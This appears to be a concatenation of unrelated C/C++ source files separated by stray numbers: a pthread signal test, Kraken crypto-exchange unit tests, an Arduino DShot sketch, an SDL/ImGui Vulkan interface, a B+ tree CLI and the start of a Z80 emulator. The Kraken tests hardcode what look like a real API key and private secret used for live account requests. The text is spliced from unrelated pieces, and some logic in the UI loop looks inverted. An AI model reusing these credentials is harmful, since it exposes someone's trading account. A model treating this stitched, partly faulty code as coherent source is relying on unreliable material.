NUM_COMPUTERS; i++) { if (pthread_join(ThreadInfos[i]._tid, 0) != 0) { std::cerr << "Unable to wait for thread index " << std::dec << i << "\n"; return 1; } } delete [] ThreadInfos; pthread_key_delete(MyInfoKey); return 0; } static void *BlockerRoot(void *vinfo) { SetMyInfo(static_cast<THREAD_INFO *>(vinfo)); while (NumSignalsReceived < NUM_SIGNALS) { struct timespec tv; tv.tv_sec = 10; tv.tv_nsec = 0; nanosleep(&tv, 0); } return 0; } static void *ComputerRoot(void *vinfo) { SetMyInfo(static_cast<THREAD_INFO *>(vinfo)); volatile double x[100]; while (NumSignalsReceived < NUM_SIGNALS) { for (unsigned i = 0; i < 100; i++) x[i] = (double)(i+1); for (unsigned i = 2; i < 100; i++) x[i] = x[i] / x[i-1] * x[i-2] + x[i]; } } static void SetMyInfo(THREAD_INFO *info) { // Initialize the worker's thread-private data to point to it's THREAD_INFO. // Once we do this, we are ready to handle a signal. // pthread_mutex_lock(&info->_readyLock); pthread_setspecific(MyInfoKey, info); info->_ready = true; pthread_cond_signal(&info->_readyCond); pthread_mutex_unlock(&info->_readyLock); } static void Handle(int) { // Count this signal. // pthread_mutex_lock(&SignalReceivedLock); NumSignalsReceived++; pthread_mutex_unlock(&SignalReceivedLock); // Once we count the signal, this thread is ready to handle another signal. // THREAD_INFO *info = static_cast<THREAD_INFO *>(pthread_getspecific(MyInfoKey)); pthread_mutex_lock(&info->_readyLock); assert(!info->_ready); info->_ready = true; pthread_cond_signal(&info->_readyCond); pthread_mutex_unlock(&info->_readyLock); }
6,884
2,383
/* * Copyright (c) 2020, Rapprise. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "stock_exchange_kraken_unit_test.h" #include "common/currency.h" #include "common/enumerations/stock_exchange_type.h" #include "common/exceptions/stock_exchange_exception/invalid_stock_exchange_response_exception.h" #include "common/utils.h" #include "gtest/gtest.h" #include "include/query_processor.h" #include "include/stock_exchange_library.h" #include "include/stock_exchange_utils.h" #include "resources/resources.h" namespace auto_trader { namespace stock_exchange { namespace unit_test { const std::string kraken_private = "d5IeAreqJbSoZohpJPiXFh4LWY9O7t/2E43bp7ehIe3OwTIt8BKni1P9xojPshhgtYLLZ+Mpg+uHsAapUfqlbw=="; const std::string kraken_api_key = "TVCtFQP83n14APh9XW+M+PnctIog52q6XsqIp10PnTp9qRUfNvmEhMvB"; const std::string invalidOrderMessage = "Invalid response exception raised : EOrder:Invalid order"; const std::string errorWithoutTradedBalance = "Invalid response exception raised : EGeneral:Invalid arguments:volume"; const double currencyTickOnFakeResponseXRP_USD_ask = 0.31699; TEST(KrakenRealRequest, KrakenRealRequest_MarketHistory_Test) { auto_trader::stock_exchange::StockExchangeLibrary stockExchangeLibrary; auto& queryProcessor = stockExchangeLibrary.getQueryProcessor(); auto query = queryProcessor.getQuery(common::StockExchangeType::Kraken); auto marketHistory = query->getMarketHistory(common::Currency::USD, common::Currency::BTC, common::TickInterval::ONE_DAY); EXPECT_TRUE(marketHistory->marketData_.size() > 0); } TEST(KrakenRealRequest, KrakenRealRequest_CurrencyTickRealResponse_Test) { auto_trader::stock_exchange::StockExchangeLibrary stockExchangeLibrary; auto& queryProcessor = stockExchangeLibrary.getQueryProcessor(); auto query = queryProcessor.getQuery(common::StockExchangeType::Kraken); auto currencyTick = query->getCurrencyTick(common::Currency::XRP, common::Currency::USD); EXPECT_TRUE(currencyTick.ask_ > 0); EXPECT_TRUE(currencyTick.bid_ > 0); EXPECT_TRUE(currencyTick.ask_ > currencyTick.bid_); } TEST(KrakenRealRequest, KrakenRealRequest_GetMarketOpenedOrders_Test) { auto_trader::stock_exchange::StockExchangeLibrary stockExchangeLibrary; auto& queryProcessor = stockExchangeLibrary.getQueryProcessor(); auto query = queryProcessor.getQuery(common::StockExchangeType::Kraken); auto marketOpenedOrders = query->getMarketOpenOrders(common::Currency::DASH, common::Currency::USD); EXPECT_TRUE(marketOpenedOrders.size() > 0); } TEST(KrakenRealRequest, KrakenRealRequest_GetAccountOpenOrders_Test) { auto_trader::stock_exchange::StockExchangeLibrary stockExchangeLibrary; auto& queryProcessor = stockExchangeLibrary.getQueryProcessor(); auto query = queryProcessor.getQuery(common::StockExchangeType::Kraken); query->updateApiKey(kraken_api_key); query->updateSecretKey(kraken_private); auto accountOpenOrders = query->getAccountOpenOrders(common::Currency::BTC, common::Currency::LTC); EXPECT_TRUE(accountOpenOrders.size() == 0); } TEST(KrakenRealRequest, KrakenRealRequest_CancelOrder_Test) { auto_trader::stock_exchange::StockExchangeLibrary stockExchangeLibrary; auto& queryProcessor = stockExchangeLibrary.getQueryProcessor(); auto query = queryProcessor.getQuery(common::StockExchangeType::Kraken); query->updateApiKey(kraken_api_key); query->updateSecretKey(kraken_private); std::string message; try { auto isOrderCanceled = query->cancelOrder(common::Currency::XRP, common::Currency::XRP, "asdasdasdsad"); } catch (const common::exceptions::InvalidStockExchangeResponse& ex) { message = ex.what(); } EXPECT_EQ(invalidOrderMessage, message); } TEST(KrakenRealRequest, KrakenRealRequest_BuyOrder_BadInputData_Test) { auto_trader::stock_exchange::StockExchangeLibrary stockExchangeLibrary; auto& queryProcessor = stockExchangeLibrary.getQueryProcessor(); auto query = queryProcessor.getQuery(common::StockExchangeType::Kraken); query->updateApiKey(kraken_api_key); query->updateSecretKey(kraken_private); std::string message; try { auto buyOrder = query->buyOrder(common::Currency::BTC, common::Currency::XRP, 1, 123123123); } catch (const common::exceptions::InvalidStockExchangeResponse& ex) { message = ex.what(); } EXPECT_EQ(errorWithoutTradedBalance, message); } TEST(KrakenRealRequest, KrakenRealRequest_SellOrder_BadInputData_Test) { auto_trader::stock_exchange::StockExchangeLibrary stockExchangeLibrary; auto& queryProcessor = stockExchangeLibrary.getQueryProcessor(); auto query = queryProcessor.getQuery(common::StockExchangeType::Kraken); query->updateApiKey(kraken_api_key); query->updateSecretKey(kraken_private); std::string message; try { auto sellOrder = query->sellOrder(common::Currency::BTC, common::Currency::XRP, 1, 123123123); } catch (const common::exceptions::InvalidStockExchangeResponse& ex) { message = ex.what(); } EXPECT_EQ(errorWithoutTradedBalance, message); } TEST(KrakenRealRequest, KrakenRealRequest_Kraken_Currencies_On_Valid_Pairs_Test) { auto_trader::stock_exchange::StockExchangeLibrary stockExchangeLibrary; auto& queryProcessor = stockExchangeLibrary.getQueryProcessor(); auto query = queryProcessor.getQuery(common::StockExchangeType::Kraken); common::KrakenCurrency krakenCurrencies; auto base_currencies = krakenCurrencies.getBaseCurrencies(); for (const auto& currency : base_currencies) { auto traded_currencies = krakenCurrencies.getTradedCurrencies(currency); for (const auto& traded_currency : traded_currencies) { EXPECT_NO_THROW(stock_exchange_utils::getKrakenCurrencyStringFromEnum(traded_currency)); EXPECT_NO_THROW(query->getCurrencyTick(currency, traded_currency)); } } } TEST(KrakenRealRequest, KrakenRealRequest_GetAccountOrderResponse_Test) { auto_trader::stock_exchange::StockExchangeLibrary stockExchangeLibrary; auto& queryProcessor = stockExchangeLibrary.getQueryProcessor(); auto query = queryProcessor.getQuery(common::StockExchangeType::Kraken); query->updateApiKey(kraken_api_key); query->updateSecretKey(kraken_private); std::string orderUuid = "OJV7QW-QCXDP-BIGIYH"; auto order = query->getAccountOrder(common::Currency::BTC, common::Currency::QTUM, orderUuid); EXPECT_EQ(order.uuid_, orderUuid); } TEST(KrakenRealRequest, KrakenRealRequest_GetAccountOrderResponse_BadUuid_Test) { auto_trader::stock_exchange::StockExchangeLibrary stockExchangeLibrary; auto& queryProcessor = stockExchangeLibrary.getQueryProcessor(); auto query = queryProcessor.getQuery(common::StockExchangeType::Kraken); query->updateApiKey(kraken_api_key); query->updateSecretKey(kraken_private); std::string orderUuid = "asdasdasd"; auto order = query->getAccountOrder(common::Currency::ADA, common::Currency::USD, orderUuid); EXPECT_TRUE(order.uuid_.empty()); } TEST_F(KrakenQueryFixture, KrakenQueryFixture_getAccountOpenOrders_TestgetAccountOpenOrders) { mockKrakenQuery->DelegateToGetOpenedOrdersResponse(); EXPECT_CALL(*mockKrakenQuery, sendRequest(testing::_)).Times(1); auto openOrders = mockKrakenQuery->getAccountOpenOrders(common::Currency::BTC, common::Currency::LTC); EXPECT_EQ(openOrders.size(), 2); } TEST_F(KrakenQueryFixture, KrakenQueryFixture_getNonZeroBalance_TestgetNonZeroBalance) { mockKrakenQuery->DelegateToGetBalanceResponse(); EXPECT_CALL(*mockKrakenQuery, sendRequest(testing::_)).Times(3); auto ADA_balance = mockKrakenQuery->getBalance(common::Currency::ADA); auto XRP_balance = mockKrakenQuery->getBalance(common::Currency::XRP); auto USD_balance = mockKrakenQuery->getBalance(common::Currency::USD); EXPECT_TRUE(ADA_balance > 0); EXPECT_TRUE(XRP_balance > 0); EXPECT_TRUE(USD_balance > 0); } TEST_F(KrakenQueryFixture, KrakenQueryFixture_getZeroBTC_Balance_Test) { mockKrakenQuery->DelegateToGetBalanceResponse(); EXPECT_CALL(*mockKrakenQuery, sendRequest(testing::_)).Times(1); auto BTC_balance = mockKrakenQuery->getBalance(common::Currency::BTC); EXPECT_EQ(BTC_balance, 0); } TEST_F(KrakenQueryFixture, KrakenQueryFixture_buyOrder_Test) { mockKrakenQuery->DelegateToBuyOrderResponse(); EXPECT_CALL(*mockKrakenQuery, sendRequest(testing::_)).Times(1); auto buy_order = mockKrakenQuery->buyOrder(common::Currency::ADA, common::Currency::USD, 1, 1); EXPECT_TRUE(!buy_order.uuid_.empty()); } TEST_F(KrakenQueryFixture, KrakenQueryFixture_sellOrder_Test) { mockKrakenQuery->DelegateToSellOrderResponse(); EXPECT_CALL(*mockKrakenQuery, sendRequest(testing::_)).Times(1); auto sell_order = mockKrakenQuery->sellOrder(common::Currency::XRP, common::Currency::USD, 1, 1); EXPECT_TRUE(!sell_order.uuid_.empty()); } TEST_F(KrakenQueryFixture, KrakenQueryFixture_cancelOrder_Test) { mockKrakenQuery->DelegateToCancelOrderResponse(); EXPECT_CALL(*mockKrakenQuery, sendRequest(testing::_)).Times(1); auto cancelOrder = mockKrakenQuery->cancelOrder(common::Currency::XRP, common::Currency::USD, "fake"); EXPECT_EQ(cancelOrder, true); } TEST_F(KrakenQueryFixture, KrakenQueryFixture_Get_Currency_Tick_Test) { mockKrakenQuery->DelegateToCurrencyTickResponse(); EXPECT_CALL(*mockKrakenQuery, sendRequest(testing::_)).Times(1); auto tick = mockKrakenQuery->getCurrencyTick(common::Currency::XRP, common::Currency::USD); EXPECT_EQ(tick.ask_, currencyTickOnFakeResponseXRP_USD_ask); } } // namespace unit_test } // namespace stock_exchange } // namespace auto_trader
10,882
3,841
#include <Arduino.h> #include "Dshot600.h" #define PIN_POS1 7 #define PIN_POS2 4 #define PIN_POS3 2 #define PIN_POS4 3 // Real pins: 5, 6, 7, 8 Dshot600 dshot; uint32_t lastMillis = 0U; volatile uint32_t isrCounter = 0; float commands[4] = {0.0f, 0.0f, 50.0f, 0.0f}; void setup() { Serial.begin(9600); pinMode(7, OUTPUT); pinMode(4, OUTPUT); pinMode(2, OUTPUT); pinMode(3, OUTPUT); dshot.begin(PIN_POS1, PIN_POS2, PIN_POS3, PIN_POS4); dshot.setCommand(commands, -1); } void loop() { }
526
269
/** * SDL/ImGui-based user interface. * * Copyright 2017-2020. Orbital project. * Released under MIT license. Read LICENSE for more details. * * Authors: * - Alexandro Sanchez Bach <alexandro@phi.nz> */ #include "ui.h" #include "ui/ui_style.h" #include <orbital/host/graphics/vulkan.h> #include <SDL2/SDL_vulkan.h> #define IMGUI_IMPL_API #include <imgui.h> #include "ui/imgui/imgui_impl_sdl.h" #include "ui/imgui/imgui_impl_vulkan.h" #include <cstdio> #include <vector> constexpr int ORBITAL_WIDTH = 1280; constexpr int ORBITAL_HEIGHT = 720; // Helpers static void check_vk_result(VkResult err) { if (err == 0) { return; } printf("VkResult: %d\n", err); if (err < 0) { assert(0); } } UI::UI() { // Initial state is_minimized = false; is_quitting = false; is_resized = false; // Create SDL window int flags = 0; flags |= SDL_WINDOW_RESIZABLE; flags |= SDL_WINDOW_VULKAN; window = SDL_CreateWindow("Orbital", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, ORBITAL_WIDTH, ORBITAL_HEIGHT, flags); // Get SDL/ImGui extensions unsigned int count = 0; if (!SDL_Vulkan_GetInstanceExtensions(window, &count, nullptr)) { fprintf(stderr, "SDL_Vulkan_GetInstanceExtensions failed: %s\n", SDL_GetError()); return; } std::vector<const char*> sdl_exts(count); if (!SDL_Vulkan_GetInstanceExtensions(window, &count, sdl_exts.data())) { fprintf(stderr, "SDL_Vulkan_GetInstanceExtensions failed: %s\n", SDL_GetError()); return; } VulkanManagerConfig config = {}; config.debug = true; config.d_exts = {}; config.i_exts = std::set<std::string>{ std::make_move_iterator(sdl_exts.begin()), std::make_move_iterator(sdl_exts.end())}; config.d_layers = {}; config.i_layers = {}; vk = new VulkanManager(config); // Initialize surface vk->init_instance(config.i_exts, config.i_layers, config.debug); if (!SDL_Vulkan_CreateSurface(window, vk->getInstance(), &surface)) { fprintf(stderr, "SDL_Vulkan_CreateSurface failed: %s\n", SDL_GetError()); return; } vk->init_device(config.d_exts, config.d_layers, surface); VkInstance instance = vk->getInstance(); VkPhysicalDevice pdev = vk->getPhysicalDevice(); // Create framebuffers SDL_GetWindowSize(window, &w, &h); wd.Surface = surface; wd.ClearEnable = true; float clear_color[4] = {0.45f, 0.55f, 0.60f, 1.00f}; memcpy(&wd.ClearValue.color.float32[0], &clear_color, 4 * sizeof(float)); // Check for WSI support VkBool32 supported; VkResult res = vkGetPhysicalDeviceSurfaceSupportKHR(pdev, vk->getQueueFamilyIndex(), surface, &supported); if (res != VK_SUCCESS || supported != VK_TRUE) { fprintf(stderr, "Error no WSI support on physical device 0\n"); exit(-1); } // Select Surface Format const VkFormat requestSurfaceImageFormat[] = { VK_FORMAT_B8G8R8A8_UNORM, VK_FORMAT_R8G8B8A8_UNORM, VK_FORMAT_B8G8R8_UNORM, VK_FORMAT_R8G8B8_UNORM }; const VkColorSpaceKHR requestSurfaceColorSpace = VK_COLORSPACE_SRGB_NONLINEAR_KHR; wd.SurfaceFormat = ImGui_ImplVulkanH_SelectSurfaceFormat( pdev, surface, requestSurfaceImageFormat, IM_ARRAYSIZE(requestSurfaceImageFormat), requestSurfaceColorSpace); // Select Present Mode VkPresentModeKHR present_modes[] = { #ifdef IMGUI_UNLIMITED_FRAME_RATE VK_PRESENT_MODE_MAILBOX_KHR, VK_PRESENT_MODE_IMMEDIATE_KHR, VK_PRESENT_MODE_FIFO_KHR #else VK_PRESENT_MODE_FIFO_KHR #endif }; wd.PresentMode = ImGui_ImplVulkanH_SelectPresentMode(pdev, wd.Surface, present_modes, IM_ARRAYSIZE(present_modes)); ImGui_ImplVulkanH_CreateWindow(instance, pdev, vk->getDevice(), &wd, vk->getQueueFamilyIndex(), nullptr, w, h, 2); // Create Descriptor Pool std::vector<VkDescriptorPoolSize> pool_sizes = { { VK_DESCRIPTOR_TYPE_SAMPLER, 1000 }, { VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER, 1000 }, { VK_DESCRIPTOR_TYPE_SAMPLED_IMAGE, 1000 }, { VK_DESCRIPTOR_TYPE_STORAGE_IMAGE, 1000 }, { VK_DESCRIPTOR_TYPE_UNIFORM_TEXEL_BUFFER, 1000 }, { VK_DESCRIPTOR_TYPE_STORAGE_TEXEL_BUFFER, 1000 }, { VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER, 1000 }, { VK_DESCRIPTOR_TYPE_STORAGE_BUFFER, 1000 }, { VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER_DYNAMIC, 1000 }, { VK_DESCRIPTOR_TYPE_STORAGE_BUFFER_DYNAMIC, 1000 }, { VK_DESCRIPTOR_TYPE_INPUT_ATTACHMENT, 1000 } }; VkDescriptorPoolCreateInfo poolInfo = {}; poolInfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_POOL_CREATE_INFO; poolInfo.flags = VK_DESCRIPTOR_POOL_CREATE_FREE_DESCRIPTOR_SET_BIT; poolInfo.maxSets = 1000 * pool_sizes.size(); poolInfo.poolSizeCount = pool_sizes.size(); poolInfo.pPoolSizes = pool_sizes.data(); res = vkCreateDescriptorPool(vk->getDevice(), &poolInfo, nullptr, &descriptor_pool); if (res != VK_SUCCESS) { fprintf(stderr, "vkCreateDescriptorPool failed with code: %d", res); return; } // Initialize ImGui IMGUI_CHECKVERSION(); ImGui::CreateContext(); ui_style_initialize(); ImGui_ImplSDL2_InitForVulkan(window); ImGui_ImplVulkan_InitInfo init_info = {}; init_info.Instance = vk->getInstance(); init_info.PhysicalDevice = vk->getPhysicalDevice(); init_info.Device = vk->getDevice(); init_info.QueueFamily = vk->getQueueFamilyIndex(); init_info.Queue = vk->getQueue(); init_info.PipelineCache = VK_NULL_HANDLE; init_info.DescriptorPool = descriptor_pool; init_info.Allocator = nullptr; init_info.MinImageCount = 2; init_info.ImageCount = wd.ImageCount; init_info.CheckVkResultFn = check_vk_result; ImGui_ImplVulkan_Init(&init_info, wd.RenderPass); // Upload Fonts VkCommandPool command_pool = wd.Frames[wd.FrameIndex].CommandPool; VkCommandBuffer command_buffer = wd.Frames[wd.FrameIndex].CommandBuffer; res = vkResetCommandPool(vk->getDevice(), command_pool, 0); check_vk_result(res); VkCommandBufferBeginInfo begin_info = {}; begin_info.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_BEGIN_INFO; begin_info.flags |= VK_COMMAND_BUFFER_USAGE_ONE_TIME_SUBMIT_BIT; res = vkBeginCommandBuffer(command_buffer, &begin_info); check_vk_result(res); ImGui_ImplVulkan_CreateFontsTexture(command_buffer); VkSubmitInfo end_info = {}; end_info.sType = VK_STRUCTURE_TYPE_SUBMIT_INFO; end_info.commandBufferCount = 1; end_info.pCommandBuffers = &command_buffer; res = vkEndCommandBuffer(command_buffer); check_vk_result(res); res = vkQueueSubmit(vk->getQueue(), 1, &end_info, VK_NULL_HANDLE); check_vk_result(res); res = vkDeviceWaitIdle(vk->getDevice()); check_vk_result(res); ImGui_ImplVulkan_DestroyFontUploadObjects(); } UI::~UI() { delete vk; // Destroy SDL window SDL_DestroyWindow(window); } void UI::task() { while (!is_quitting) { loop(); } } void UI::loop() { SDL_Event e; // Handle events while (SDL_PollEvent(&e)) { ImGui_ImplSDL2_ProcessEvent(&e); if (e.type == SDL_QUIT) { is_quitting = true; return; } if (e.type == SDL_WINDOWEVENT || e.window.windowID == SDL_GetWindowID(window)) { switch (e.window.event) { case SDL_WINDOWEVENT_CLOSE: is_quitting = true; return; case SDL_WINDOWEVENT_MINIMIZED: is_minimized = false; break; case SDL_WINDOWEVENT_MAXIMIZED: is_minimized = false; break; case SDL_WINDOWEVENT_EXPOSED: is_resized = true; break; case SDL_WINDOWEVENT_RESIZED: w = static_cast<int>(e.window.data1); h = static_cast<int>(e.window.data2); is_resized = true; break; } } } // Handle resizing if (is_resized == false) { is_resized = true; ImGui_ImplVulkan_SetMinImageCount(2); ImGui_ImplVulkanH_CreateWindow(vk->getInstance(), vk->getPhysicalDevice(), vk->getDevice(), &wd, vk->getQueueFamilyIndex(), nullptr, w, h, 2); wd.FrameIndex = 0; } // Handle minimizations if (is_minimized == false) { ImGui_ImplVulkan_NewFrame(); ImGui_ImplSDL2_NewFrame(window); ImGui::NewFrame(); // Window ImGui::ShowDemoWindow(); //orbital_display_draw(&ui); ImGui::Render(); frame_render(); frame_present(); } } void UI::frame_render() { VkResult res; VkDevice dev = vk->getDevice(); VkSemaphore image_acquired_semaphore = wd.FrameSemaphores[wd.SemaphoreIndex].ImageAcquiredSemaphore; VkSemaphore render_complete_semaphore = wd.FrameSemaphores[wd.SemaphoreIndex].RenderCompleteSemaphore; res = vkAcquireNextImageKHR(dev, wd.Swapchain, UINT64_MAX, image_acquired_semaphore, VK_NULL_HANDLE, &wd.FrameIndex); check_vk_result(res); ImGui_ImplVulkanH_Frame& fd = wd.Frames[wd.FrameIndex]; // Wait indefinitely instead of periodically checking res = vkWaitForFences(dev, 1, &fd.Fence, VK_TRUE, UINT64_MAX); check_vk_result(res); res = vkResetFences(dev, 1, &fd.Fence); check_vk_result(res); res = vkResetCommandPool(dev, fd.CommandPool, 0); check_vk_result(res); { VkCommandBufferBeginInfo info = {}; info.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_BEGIN_INFO; info.flags |= VK_COMMAND_BUFFER_USAGE_ONE_TIME_SUBMIT_BIT; res = vkBeginCommandBuffer(fd.CommandBuffer, &info); check_vk_result(res); } { VkRenderPassBeginInfo info = {}; info.sType = VK_STRUCTURE_TYPE_RENDER_PASS_BEGIN_INFO; info.renderPass = wd.RenderPass; info.framebuffer = fd.Framebuffer; info.renderArea.extent.width = wd.Width; info.renderArea.extent.height = wd.Height; info.clearValueCount = 1; info.pClearValues = &wd.ClearValue; vkCmdBeginRenderPass(fd.CommandBuffer, &info, VK_SUBPASS_CONTENTS_INLINE); } // Record Imgui Draw Data and draw funcs into command buffer ImGui_ImplVulkan_RenderDrawData(ImGui::GetDrawData(), fd.CommandBuffer); // Submit command buffer vkCmdEndRenderPass(fd.CommandBuffer); { VkPipelineStageFlags wait_stage = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT; VkSubmitInfo info = {}; info.sType = VK_STRUCTURE_TYPE_SUBMIT_INFO; info.waitSemaphoreCount = 1; info.pWaitSemaphores = &image_acquired_semaphore; info.pWaitDstStageMask = &wait_stage; info.commandBufferCount = 1; info.pCommandBuffers = &fd.CommandBuffer; info.signalSemaphoreCount = 1; info.pSignalSemaphores = &render_complete_semaphore; res = vkEndCommandBuffer(fd.CommandBuffer); check_vk_result(res); res = vkQueueSubmit(vk->getQueue(), 1, &info, fd.Fence); check_vk_result(res); } } void UI::frame_present() { std::vector<VkSemaphore> waitSemaphores = { wd.FrameSemaphores[wd.SemaphoreIndex].RenderCompleteSemaphore }; VkPresentInfoKHR info = {}; info.sType = VK_STRUCTURE_TYPE_PRESENT_INFO_KHR; info.waitSemaphoreCount = waitSemaphores.size(); info.pWaitSemaphores = waitSemaphores.data(); info.swapchainCount = 1; info.pSwapchains = &wd.Swapchain; info.pImageIndices = &wd.FrameIndex; VkResult res = vkQueuePresentKHR(vk->getQueue(), &info); check_vk_result(res); // Now we can use the next set of semaphores wd.SemaphoreIndex = (wd.SemaphoreIndex + 1) % wd.ImageCount; } void UI::initialize() { static bool initialized = false; if (initialized) { return; } // Initialize SDL library SDL_SetMainReady(); // Initialize SDL subsystems int err = SDL_InitSubSystem(SDL_INIT_VIDEO); if (err) { fprintf(stderr, "SDL_InitSubSystem failed: %s\n", SDL_GetError()); return; } initialized = true; } void UI::finalize() { // Finalize SDL library SDL_Quit(); }
12,307
4,639
#include "../bpt.h" using namespace bpt; #include <string.h> int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s database command\n", argv[0]); return 1; } bpt::bplus_tree database(argv[1]); if (!strcmp(argv[2], "search")) { if (argc < 4) { fprintf(stderr, "Need key.\n"); return 1; } if (argc == 4) { value_t value; if (database.search(argv[3], &value) != 0) printf("Key %s not found\n", argv[3]); else printf("%d\n", value); } else { bpt::key_t start(argv[3]); value_t values[512]; bool next = true; while (next) { int ret = database.search_range( &start, argv[4], values, 512, &next); if (ret < 0) break; for (int i = 0; i < ret; i++) printf("%d\n", values[i]); } } } else if (!strcmp(argv[2], "insert")) { if (argc < 5) { fprintf(stderr, "Format is [insert key value]\n"); return 1; } if (database.insert(argv[3], atoi(argv[4])) != 0) printf("Key %s already exists\n", argv[3]); } else if (!strcmp(argv[2], "update")) { if (argc < 5) { fprintf(stderr, "Format is [update key value]\n"); return 1; } if (database.update(argv[3], atoi(argv[4])) != 0) printf("Key %s does not exists.\n", argv[3]); } else { fprintf(stderr, "Invalid command: %s\n", argv[2]); return 1; } return 0; }
1,713
583
//offset 703 + 45056 = B2BF #include "gbConfig.h" #include <stdlib.h> #include <stdio.h> #include "CPCem.h" #include "DAA.h" #include "Z80.h" #include <string.h> #include "FDC.h" #include "CRTC.h" #include "GA.h" #include "CRTC.h" #include "8255.h" #include "gb_globals.h" #include "dataFlash/gbrom.h" z80reg af,bc,de,hl,ix,iy,ir,saf,sbc,sde,shl; unsigned short pc=0; unsigned short sp; int iff1,iff2; int intreq; int im; int c8d1=0; //JJ int model; int rhigh=0; //JJ int vc,sc; unsigned short ooopc,oopc,opc; int output=0; int cycles=0; int tempc; int ins=0; //JJ unsigned char znptable[256]; //JJ unsigned char znptable16[65536]; #ifdef use_lib_lookup_znptable //Lo metemos a flash const unsigned char znptable[256]={ 0x44,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x08,0x0c,0x0c,0x08,0x0c,0x08,0x08,0x0c, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x0c,0x08,0x08,0x0c,0x08,0x0c,0x0c,0x08, 0x20,0x24,0x24,0x20,0x24,0x20,0x20,0x24,0x2c,0x28,0x28,0x2c,0x28,0x2c,0x2c,0x28, 0x24,0x20,0x20,0x24,0x20,0x24,0x24,0x20,0x28,0x2c,0x2c,0x28,0x2c,0x28,0x28,0x2c, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x0c,0x08,0x08,0x0c,0x08,0x0c,0x0c,0x08, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x08,0x0c,0x0c,0x08,0x0c,0x08,0x08,0x0c, 0x24,0x20,0x20,0x24,0x20,0x24,0x24,0x20,0x28,0x2c,0x2c,0x28,0x2c,0x28,0x28,0x2c, 0x20,0x24,0x24,0x20,0x24,0x20,0x20,0x24,0x2c,0x28,0x28,0x2c,0x28,0x2c,0x2c,0x28, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x8c,0x88,0x88,0x8c,0x88,0x8c,0x8c,0x88, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x88,0x8c,0x8c,0x88,0x8c,0x88,0x88,0x8c, 0xa4,0xa0,0xa0,0xa4,0xa0,0xa4,0xa4,0xa0,0xa8,0xac,0xac,0xa8,0xac,0xa8,0xa8,0xac, 0xa0,0xa4,0xa4,0xa0,0xa4,0xa0,0xa0,0xa4,0xac,0xa8,0xa8,0xac,0xa8,0xac,0xac,0xa8, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x88,0x8c,0x8c,0x88,0x8c,0x88,0x88,0x8c, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x8c,0x88,0x88,0x8c,0x88,0x8c,0x8c,0x88, 0xa0,0xa4,0xa4,0xa0,0xa4,0xa0,0xa0,0xa4,0xac,0xa8,0xa8,0xac,0xa8,0xac,0xac,0xa8, 0xa4,0xa0,0xa0,0xa4,0xa0,0xa4,0xa4,0xa0,0xa8,0xac,0xac,0xa8,0xac,0xa8,0xa8,0xac }; #endif #ifdef use_lib_lookup_znptable16 const unsigned char znptable16[65536]={ 0x44,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 